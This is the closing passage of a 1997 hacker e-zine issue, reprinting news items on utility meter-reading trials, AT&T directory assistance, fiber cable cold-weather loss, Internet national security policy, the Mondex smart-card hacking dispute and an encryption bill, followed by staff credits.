  5389. energy, they can reduce their toasting activity." 
  5390.  
  5391. The technology project was inspired by the move toward deregulation in the 
  5392. utility industry, said Teresa Corlew, a spokeswoman for Nashville Electric. 
  5393. Companies are looking for ways to show consumers how they can lower costs; 
  5394. technology is one way to do that. "We want to run the test for a year and 
  5395. then assess the results," she said. "After that, we may roll it out to the 
  5396. entire area." 
  5397.  
  5398. Those participating in the test are volunteers who happen to have PCs in 
  5399. their home and are concentrated in an area of the city that relies primarily 
  5400. on electric service, rather than gas. 
  5401.  
  5402. The voluntary nature of the test may be smart marketing for Nashville 
  5403. Electric. In Roselle, Illinois, a suburb of Chicago, a water meter-reading 
  5404. system was recently installed that employs the telephone network. All 
  5405. residents must comply with the system by January, or they will be fined. But, 
  5406. says Darcy Bretz, a local resident, several people in the suburb don't like 
  5407. the idea because they think that their phones are being tapped and that their 
  5408. privacy is being invaded. 
  5409.  
  5410. Other experiment-minded locales are examining wireless data networks, which 
  5411. will be online for tests in Massachusetts and Rhode Island by early 1998, 
  5412. using a small, low-cost radio device that is hooked to an existing meter. Its 
  5413. hoped that the technology's unobtrusiveness will win over consumers - 
  5414. observers indicate that customer-preference must drive these trials. 
  5415.  
  5416. "This kind of thing is starting to go on all over the industry," said Lori 
  5417. DeMatteis, a senior associate at Metzler Associates, a Chicago-based energy 
  5418. consultant. "There are a lot of different technologies and billing systems 
  5419. that are emerging, but no clear winner yet. There will be several benefits 
  5420. that users will see. There will be increased accuracy in billing, for 
  5421. instance. Also, you won't have to worry about the man entering your yard, and 
  5422. they don't have to worry about your dog." 
  5423.    
  5424. ⌐1993-97 Wired Ventures, Inc.
  5425. ═───────────────────────────────────────────────────────────═
  5426.  
  5427.  AT&T Tests New `00' INFO Directory Assistance Service    
  5428.  September 22, 1997
  5429.  
  5430.  Directory Assistance the Way Customers Really Want It 
  5431.  
  5432.  SEATTLE, Sept. 22 PRNewswire -- AT&T today announced that it will conduct a 
  5433.  market trial of its new AT&T "00" INFO(SM) (Double-0 Info) national 
  5434.  directory assistance service in the Seattle area. Beginning today, AT&T 
  5435.  customers in Seattle will be able to dial "00" to obtain telephone listings 
  5436.  for any place in the United States with one simple phone call -- even if 
  5437.  they don't have the area code or exact city. 
  5438.  
  5439. In marked contrast to the industry trend to provide fully automated directory 
  5440. assistance, AT&T "00" INFO Service features personal, courteous, helpful 
  5441. service from specially trained AT&T information assistants who will stay on 
  5442. the line for the entire call. From the moment they greet the customer by 
  5443. introducing themselves, AT&T assistants are there to help customers simplify 
  5444. their lives, by searching for a directory listing with as little information 
  5445. as a partial name and a locality or state. And AT&T assistants will stay with 
  5446. the customer through the end of the call when they provide the requested 
  5447. information. 
  5448.  
  5449. "We're providing directory assistance the way customers really want it," said 
  5450. Howard McNally, vice president of AT&T Consumer Markets Division. "AT&T is 
  5451. bringing back the personal touch. Not only will we stay on the line with our 
  5452. customers, but we'll do everything within our power to meet their needs -- 
  5453. using enhanced search features to find the listings they want, and even the 
  5454. address and zip code, if that's what they need." 
  5455.  
  5456. In addition to personal service, AT&T "00" INFO also includes several new 
  5457. search capabilities: 
  5458.  
  5459. * A new expanded search capability allows AT&T information assistants to 
  5460. extend a directory search to surrounding communities when they can't find a 
  5461. requested listing in a designated city or town -- even if the caller doesn't 
  5462. know what those communities are. 
  5463.  
  5464. * A key word search function allows AT&T information assistants to search for 
  5465. a business listing when the caller doesn't know the full or exact name of the 
  5466. business. This search will find the listing if the key word appears anywhere 
  5467. in the name. 
  5468.  
  5469. Seattle is one of only five service markets in the United States to be 
  5470. selected to test the new AT&T "00" INFO Service. The other test sites are 
  5471. Minneapolis, Phoenix, Denver and Portland, Ore. 
  5472.  
  5473. AT&T customers in these trial markets need only dial one simple number, "00," 
  5474. from their home phone to reach an AT&T information assistant who will help 
  5475. them find telephone listings anywhere in the United States. This means they 
  5476. no longer need to dial multiple numbers for directory assistance, or know 
  5477. whether the desired number is local or long distance. And since they don't 
  5478. need to know the area code to get a listing, customers no longer need to make 
  5479. two calls for a listing -- the first for the area code, and the second for 
  5480. the telephone number. 
  5481.  
  5482. During the market trial, AT&T is offering the new AT&T "00" INFO Service at 
  5483. the same 95-cent price for two listings that it charges for its conventional 
  5484. directory assistance. In addition, customers can request an unlimited number 
  5485. of listings on a single call. 
  5486.  
  5487. When AT&T customers dial "00" from their home phones, they will hear the 
  5488. familiar AT&T acknowledgment, followed by an automated system prompting them 
  5489. to press "1" for AT&T "00" INFO directory assistance. 
  5490.  
  5491. AT&T "00" INFO Service is also available to AT&T customers in the (CITY) area 
  5492. even when they are away from their residence phone. By dialing 
  5493. 1-800-CALL-ATT, followed by Prompt "4," customers will be connected to AT&T 
  5494. "00" INFO directory assistance. 
  5495.  
  5496. The AT&T "00" INFO directory assistance service trial is limited to listings 
  5497. in the United States. SOURCE AT&T 
  5498.  
  5499. ⌐PR Newswire. All rights reserved. 
  5500. ═───────────────────────────────────────────────────────────═
  5501.  
  5502.  Bellcore Scientists See Cold-Weather Problems (And Possible Solutions) 
  5503.  For Dense WDM Cables    
  5504.  September 22, 1997
  5505.  
  5506.  SAN DIEGO, Calif.--(BUSINESS WIRE)--September 22, 1997--Cold weather 
  5507.  presents important challenges to dense-wavelength-division-multiplexing 
  5508.  technology, but those challenges can be overcome by prudent risk-assessment 
  5509.  and proper network planning, Bellcore scientists revealed today. 
  5510.  
  5511. The scientists, Gabor Kiss, Osman Gebizlioglu, Dean Rader and Casey 
  5512. Wieczorek, published their observations in a paper delivered today at the 
  5513. National Fiber Optic Engineering Conference, here. The paper, "New 
  5514. Developments in Temperature-Induced Cable Loss," is one of a series of 
  5515. studies on fiber-optic cable performance made by Bellcore over the past five 
  5516. years. 
  5517.  
  5518. "We've known for awhile that cold weather changes the internal geometry of 
  5519. fiber-optic cable, and that this change bends the optical fibers in ways they 
  5520. weren't designed to be bent," said Kiss. "However, we also knew that this was 
  5521. something we could live with in equipment operating at 1310 nanometers. With 
  5522. dense WDM transmission, which happens at 1550 nanometers, the loss becomes 
  5523. much worse." 
  5524.  
  5525. Kiss added that some makers of DWDM systems plan to use 1625 nanometers for 
  5526. network supervision. "Our study indicates that this supervision would fail 
  5527. long before the network failed at 1550 nanometers," Kiss said. 
  5528.  
  5529. Finally, Kiss pointed out that extremely cold weather can affect both the 
  5530. "working" and "protected" channels -- that is, the fiber being used and the 
  5531. fiber being held in reserve. "That means that temperature-induced cable loss 
  5532. over a wide geographic area may frustrate a diverse-routing protection 
  5533. scheme," Kiss said. 
  5534.  
  5535. Kiss, Gebizlioglu, Rader and Wieczorek subjected cables to several years of 
  5536. simulated seasonal cycles and monitored the loss in their laboratory in 
  5537. Morristown, New Jersey. They also conducted field tests on cables at 
  5538. Bellcore's research facility in Chester, New Jersey, and in Maine. 
  5539.  
  5540. For equipment suppliers and network operators, Kiss said, this news should be 
  5541. sobering, but not discouraging. 
  5542.  
  5543. "The fact is that there are ways to assess the individual risk faced by 
  5544. particular products in particular environments, and Bellcore is available to 
  5545. assess that risk and work toward a way to minimize it," Kiss said. 
  5546.  
  5547. Kiss and his colleagues are also engaged in writing Bellcore generic 
  5548. requirements for DWDM equipment, and for fiber-optic cable. 
  5549.  
  5550. Bellcore, headquartered in Morristown, New Jersey, is a leading provider of 
  5551. communications software, engineering and consulting services based on 
  5552. world-class research. Bellcore creates business solutions that make 
  5553. information technology work for telecommunications carriers, businesses and 
  5554. governments worldwide. Bellcore has sales offices throughout the United 
  5555. States, Europe, Central and South America, and the Asia-Pacific region. On 
  5556. November 21, 1996, SAIC (Science Applications International Corporation) 
  5557. announced that it had agreed to purchase Bellcore once requisite regulatory 
  5558. approvals had been obtained. More information about Bellcore is available at 
  5559. its Web site, www.bellcore.com 
  5560.  
  5561. ⌐Business Wire.
  5562. ═───────────────────────────────────────────────────────────═
  5563.  
  5564.  Is the Internet a Matter of National Security? 
  5565.  Monday, September 22, 1997
  5566.  
  5567.  Gary Chapman Is Director of the 21st Century Project at the University of 
  5568.  Texas at Austin. he Can Be Reached at Gary.chapman@mail.utexas.edu
  5569.  
  5570.  Slowly but surely, step by incremental step, the Internet is being pulled 
  5571.  into the forbidding black hole of "national security." Several recent 
  5572.  developments have raised warning flags that the global communications 
  5573.  network is now regarded as the turf of the people and institutions left over 
  5574.  from the Cold War. 
  5575.  
  5576. On Sept. 5, the President's Commission on Critical Infrastructure 
  5577. (http://www.pccip.gov/) released a report calling for a huge increase in 
  5578. funding for protection of the "critical systems" of the nation, including 
  5579. electric power distribution, telecommunications, banking and finance, water, 
  5580. transportation, oil and gas storage and transportation, emergency services 
  5581. and government services. 
  5582.  
  5583. The commission recommended doubling the current federal R&D budget of $250 
  5584. million for protecting these systems, with increases of $100 million each 
  5585. year after 1999 to $1 billion per year by 2004. 
  5586.  
  5587. The commission's chairman, retired Air Force Gen. Robert T. Marsh, told the 
  5588. Associated Press ([Company Capsule]), "These are the life-support systems of 
  5589. the nation. They're vital, not only for day-to-day discourse, they're vital 
  5590. to national security. They're vital to our economic competitiveness 
  5591. worldwide, they're vital to our very way of life." 
  5592.  
  5593. Ten days ago, the House Select Committee on Intelligence in the U.S. Congress
  5594. voted to require that all technology for encrypting data provide a "key" that 
  5595. could be obtained by law enforcement or national security officials. The vote
  5596. reversed a trend toward relaxing such controls--one of the chief political 
  5597. goals of the high-tech industry. Committee members cited the warnings they 
  5598. received in "classified briefings" as the main reason for their vote. 
  5599.  
  5600. Later this month there will be a high-level conference in Chicago titled "The 
  5601. Information Revolution: Impact on the Foundations of National Power," hosted 
  5602. by the Center for Strategic and International Studies (http://www.csis. org) 
  5603. and featuring many of the graybeards of the national security state, such as 
  5604. arms control negotiator Paul Nitze, former Georgia Sen. Sam Nunn, Bob Galvin 
  5605. of Motorola and ubiquitous conservative pundit William Bennett. 
  5606.  
  5607. This signifies the discovery of the Internet by the highest mandarins of the 
  5608. American power establishment, and the title of the conference frames the 
  5609. subject in an ominous fashion. 
  5610.  
  5611. This summer I was visited by, and gave a briefing to, a delegation of 
  5612. Washington experts from the intelligence community--about a dozen gentlemen 
  5613. from the CIA, the National Security Agency, the Treasury Department and the 
  5614. Pentagon. It was at this meeting that I first heard the explicit statement 
  5615. that the Internet is now regarded as a critical national asset that these 
  5616. agencies believe needs their protection and attention. 
  5617.  
  5618. The Internet, of course, has always been linked to the Defense Department--it 
  5619. began, in the late 1960s, as a defense research project, and the Defense 
  5620. Advanced Research Projects Agency was its overseer until 1983. 
  5621.  
  5622. But the Pentagon never considered the Internet (or Arpanet, as it was known 
  5623. until 1983) to be a "critical" communications network. There is a persistent 
  5624. myth that the Internet was developed in a particular way to sustain damage in 
  5625. a nuclear attack, but this was never true, as is pointed out in the 
  5626. definitive history of the Net, "When Wizards Stay Up Late," by Katie Hafner 
  5627. and Matt Lyon. The Internet was always a research project and chiefly a means 
  5628. to pass information between incompatible computer systems. 
  5629.  
  5630. But now the Internet is increasingly embedded in the nation's economic life. 
  5631. More and more commerce is conducted on the Internet. Basic utilities, like 
  5632. power and water, are beginning to use Internet-related computer networks for 
  5633. monitoring services. The federal government is increasingly dependent on 
  5634. computer-mediated communication over networks. 
  5635.  
  5636. Many people in positions of power see the Internet as a precursor to a vast 
  5637. global infrastructure of commerce and communication that the U.S. is likely 
  5638. to dominate. Whatever global empire the U.S. will have in the 21st century is 
  5639. likely to depend on this technology. 
  5640.  
  5641. This global character of the Internet raises an interesting paradox for the 
  5642. national security community. The Internet promises easy global commerce for 
  5643. companies, no matter where they're physically located. These companies have 
  5644. an intense interest in computer security, but they tend to be wary, if not 
  5645. hostile, to national security imperatives. 
  5646.  
  5647. When the Reagan administration, in the mid-1980s, attempted to implement a 
  5648. new security classification for digital information called "sensitive not 
  5649. secret," the private sector rebelled, and the proposal was killed. In the 
  5650. same period, manufacturers of supercomputers and high-end workstations chafed 
  5651. at Pentagon export controls. 
  5652.  
  5653. Now the battle is being waged over encryption, and last week's defeat for 
  5654. business may raise the stakes. The House committee vote "is a disaster," said 
  5655. Rebecca Gould, vice president for public policy at the Business Software 
  5656. Alliance (http://www.bsa.org). 
  5657.  
  5658. Business leaders outside the defense industry have long had a strained 
  5659. relationship with the spooks and Dr. Strangeloves of the national security 
  5660. community. During World War I, for example, Henry Ford and other major 
  5661. industrialists were pacifists and globalists who railed against militarism, 
  5662. jingoism and paranoia. 
  5663.  
  5664. The military responded by accusing Ford and his supporters of greed, 
  5665. obsession with profits, and a lack of patriotism. For most of the first half 
  5666. of this century, U.S. business leaders believed the military and its 
  5667. attitudes were the chief enemies of commerce, which they regarded as the 
  5668. foundation of world peace. 
  5669.  
  5670. These days, with the Internet firmly in the hands of the private sector, the 
  5671. noises coming from the Pentagon, the CIA and the FBI are much more 
  5672. conciliatory--they promise to "work with industry" to help "secure" the 
  5673. nation's "critical systems." 
  5674.  
  5675. But this contemporary savoir-faire should make us even more nervous. Looming 
  5676. before us is the absorption of the free and open Internet into the gloomy 
  5677. abyss of classified information, black budgets, secrecy, surveillance, 
  5678. shadowy characters, macho patriotic posturing, and all the other trappings of 
  5679. "national security." 
  5680. ═───────────────────────────────────────────────────────────═
  5681.  
  5682.  Hacking Smart Card Chips: At What Cost? 
  5683.  09/25/97
  5684.  By Mo Krochmal, TechWeb          
  5685.  
  5686.  LONDON -- Mondex International, developer of one of the world's leading 
  5687.  electronic cash cards, has come under fire from a security expert for 
  5688.  allegedly underestimating the ability of criminals to hack into its 
  5689.  products.
  5690.  
  5691. The E-cash pioneer, which is controlled by MasterCard International, 
  5692. announced Monday its latest chip, the H8/3109 device developed by Hitachi. 
  5693. E-cash cards let users pay for goods and services with electronic tokens that 
  5694. can be freely exchanged for paper money and coins money in banks.
  5695.  
  5696. Mondex, which said it plans to market 5 million E-cash cards by the end of 
  5697. 1998, said in a statement that the chip had undergone "fault-analysis 
  5698. interrogation by some of the leading chip and security laboratories in the 
  5699. world." 
  5700.  
  5701. But Mondex was criticized Monday by a leading academic cryptography expert 
  5702. for underestimating the risks of the card being hacked. Ross Anderson, a 
  5703. professor at Cambridge University in England, said the technical 
  5704. sophistication of the security measures taken by Mondex do not reflect the 
  5705. high level of technology and skills available to criminals.
  5706.  
  5707. "I think Mondex picked an inappropriate time to go for a world launch. There 
  5708. are too many new attacks -- people are looking at things all the time," 
  5709. Anderson said. "If something is released today, there is no guarantee it will 
  5710. be good three months from now. In five or 10 years, things will have 
  5711. stabilized."
  5712.  
  5713. The Mondex card was the subject of rumors earlier this month that it had been 
  5714. successfully hacked, following a presentation at the Eurocrypt cryptography 
  5715. conference this summer. The Eurocrypt presentation showed that the surface 
  5716. wiring of a silicon chip, which was not identified by name, could be 
  5717. manipulated in a way that allowed access to the information stored inside.
  5718.  
  5719. According to a document posted on the Web, Mondex was the subject of the 
  5720. attack described at Eurocrypt. The anonymous posting said an ion beam was 
  5721. used to reconnect a link on the surface of a Mondex chip, letting the memory 
  5722. be output to the card's serial port. Mondex denied the claim Wednesday. 
  5723.  
  5724. John Beric, head of security at Mondex, said the type of attack described at 
  5725. Eurocrypt had not been state-of-the-art for many years. He added that the 
  5726. Mondex chip design was adapted in 1992 to take into account such an attack. 
  5727. Mondex chips are still tested for attacks such as those described in the 
  5728. anonymous posting, he said.
  5729.  
  5730. "No system is perfect. We go on the contingency that something horrible is 
  5731. going to happen, and we have contingency plans so we can tolerate a loss and 
  5732. stem it where we can," Beric said.
  5733.  
  5734. Mondex and chip manufacturers argue that the high cost of hacking into a 
  5735. single chip, " a process which requires skill and expensive equipment," means 
  5736. hacking cards is uneconomic, because breaking one chip's security doesn't 
  5737. necessarily breaking into other chips.
  5738.  
  5739. "Any chip can be compromised, the question is: How much money does it cost to 
  5740. compromise the chip? The goal is to make the cost of compromising the chip 
  5741. greater than the value of compromising the chip," said Thomas Horton, smart 
  5742. card microchip product manager at Hitachi. 
  5743.  
  5744. But some academics said the chip industry's cost-benefit argument is flawed.
  5745.  
  5746. Hacking, or reconfiguring a chip, "is a routine process," according to John 
  5747. Orloff, a professor at the Laboratory for Ion Beam Research and Applications 
  5748. at the University of Maryland, in College Park.
  5749.  
  5750. Orloff said a technician with access to a focused ion-beam machine and 
  5751. intimate knowledge of a chip could "lay down a few microns" and reconstitute 
  5752. something such as a severed link on a chip in just 30 minutes. The machinery 
  5753. to do something like that is not cheap, Orloff said, but it is common in 
  5754. semiconductor labs and universities. 
  5755.  
  5756. ⌐CMP Media, 1996.
  5757. ═───────────────────────────────────────────────────────────═
  5758.  
  5759.  House Panel Rejects Crypto Amendment
  5760.  by Rebecca Vesely 
  5761.  
  5762.  24.Sep.97.PDT -- After nearly four hours of wrangling, the House Commerce 
  5763.  Committee today passed a market-friendly encryption bill, voting down an 
  5764.  amendment 35-16 that would have imposed strict domestic controls on 
  5765.  encryption. 
  5766.  
  5767. "Throughout this debate in the past few weeks, the members have been swinging 
  5768. towards privacy," Representative Edward Markey (D-Massachusetts) told 
  5769. reporters after the vote. "I think that's going to happen in every single 
  5770. public debate that's held." 
  5771.  
  5772. The Security and Freedom through Encryption Act, sponsored by Representative 
  5773. Bob Goodlatte (R-Virginia), passed in a 40-11 vote with an amendment that 
  5774. strengthens penalties for using encryption in a crime from five years to 10. 
  5775. The amendment, sponsored by Markey and Representative Rick White 
  5776. (R-Washington), also establishes a "national encryption technology center" in 
  5777. which companies would work with law enforcement on encryption technologies, 
  5778. although where funding for the center would come from or who would 
  5779. participate is undefined. 
  5780.  
  5781. But the committee and the House remain deeply divided over just how much 
  5782. access law enforcement should have to digital communications. Despite two 
  5783. weeks of 'round-the-clock staff work and lobbyists haunting members and 
  5784. aides, panel members could not find a compromise between law enforcement and 
  5785. privacy concerns. In fact, many could not understand why technology can't 
  5786. sort the whole mess out. 
  5787.  
  5788. "If these cryptographers are so smart, why don't they invent some decryption 
  5789. devices for law enforcement?" asked Representative Mike Oxley (R-Ohio), a 
  5790. former FBI agent and chief sponsor of the pro-law-enforcement amendment that 
  5791. failed. 
  5792.  
  5793. Arguments for the need for law enforcement to access encrypted data surfaced 
  5794. again and again, as members pointed out that drug cartels use strong 
  5795. encryption to secure their data. 
  5796.  
  5797. "Computers and the Internet have become fertile ground for terrorists, drug 
  5798. cartels, and child pornographers," said Representative Greg Ganske (R-Iowa). 
  5799.  
  5800. But the committee majority appeared to be swayed by the argument that the 
  5801. wide availability of strong encryption on the global market made Oxley's 
  5802. proposal - to prevent all Americans from using encryption without immediate 
  5803. access to plaintext by law enforcement - illogical. 
  5804.  
  5805. "This is the Prohibition of the electronic age," said Representative Anna 
  5806. Eshoo (D-California). "People drank anyway. Liquor was out there, and it was 
  5807. easy to make." 
  5808.  
  5809. Markey said the Oxley proposal's requirement for easy access to encrypted 
  5810. data could become the "Achilles' heel of electronic commerce." 
  5811.  
  5812. The bill's next test: the House Rules Committee, which will decide in what 
  5813. form, if any, the bill will reach the House floor. Two weeks ago, the House 
  5814. Intelligence and National Security committees passed a series of amendments, 
  5815. one similar to Oxley's, that would undercut the intent of Goodlatte's 
  5816. original legislation. 
  5817.  
  5818. Rules Committee chair Gerald Solomon (R-New York) sent a letter to Commerce 
  5819. Committee members warning them that he will block any variation on the 
  5820. Goodlatte bill that does not carry the strong key recovery provision Oxley 
  5821. tried to get passed. 
  5822.  
  5823. Goodlatte told reporters after the Commerce panel session that he is going to 
  5824. work immediately to try to get the bill over the next hurdle. 
  5825.  
  5826. "We are certainly going to be working with the leadership and the Rules 
  5827. Committee to make sure everybody who has an opinion about this gets heard and 
  5828. that we design a bill that will have strong bipartisan support," he said. 
  5829.  
  5830. Goodlatte still faces a long road. The bill has 252 House co-sponsors - a 
  5831. solid majority should it reach the floor. But it would still have to be 
  5832. reconciled with radically different Senate legislation and gain President 
  5833. Clinton's signature before it becomes law. 
  5834.  
  5835. ⌐1993-97 Wired Ventures, Inc.
  5836. ═───────────────────────────────────────────────────────────═
  5837.  
  5838. Internet Addict Placed on Probation in Ohio - from FH
  5839.  
  5840. CINCINNATI (Reuter) - An Ohio woman described by police as an Internet addict
  5841. was placed on two years probation Tuesday for neglecting her three small
  5842. children while spending several hours a day on her home computer. 
  5843.  
  5844. Police said Sandra Hacker, 24, kept her three children in deplorably filthy
  5845. conditions in a separate room of her apartment, while devoting her time to the
  5846. Internet. 
  5847.  
  5848. Judge William Mallory of Cincinnati Municipal Court also fined Hacker $100 and
  5849. court costs and suspended a 180-day jail sentence on condition that she take
  5850. parenting classes under supervision of probation officials. 
  5851.  
  5852. The children, ages 2, 3, and 5, have been in the custody of her estranged
  5853. husband since she was arrested on the neglect charges earlier this year, her
  5854. attorney, John Burlew, told Reuters. 
  5855.  
  5856. Permanent custody rights will be determined in a divorce proceeding in which
  5857. the couple is now involved, he said.
  5858.  
  5859. ═────────────────────────────────────────────────────────────────────────────═
  5860.                  ┌--────────────────────────┐               
  5861.                  : thtj communications, inc.│               
  5862.                  ·-──-──────────────────────┘
  5863.  
  5864. Editor-in-Chief: Scud-O, scud@thtj.com
  5865. Executive Editor: KungFuFox, mazer@cycat.com
  5866. Submissions Editor: Keystroke, keystroke@thepentagon.com
  5867. Distribution Editor: Malhavoc, malhavoc@thtj.com
  5868. Site Manager: Scud-O, scud@thtj.com
  5869. Content Editors: FH, fh@sinnerz.com
  5870.               Malhavoc, malhavoc@thtj.com
  5871.               Phrax,  phrax@thtj.com
  5872.  
  5873. Staff Writers: memor, memor@thtj.com
  5874.             ArcAngel, arcangel@thtj.com
  5875.             lurk3r,
  5876.             Shok,
  5877.             The Messiah, tm@sinnerz.com
  5878.  
  5879. ═────────────────────────────────────────────────────────────────────────────═
  5880.        
  5881.        A-th-a-th-a-th-a-that's all folks!
  5882.                     
  5883.                     ┌--───────────────────────┐
  5884.                     :  - End of Communique -  │    
  5885.                     ·-──-─────────────────────┘
  5886.  
  5887.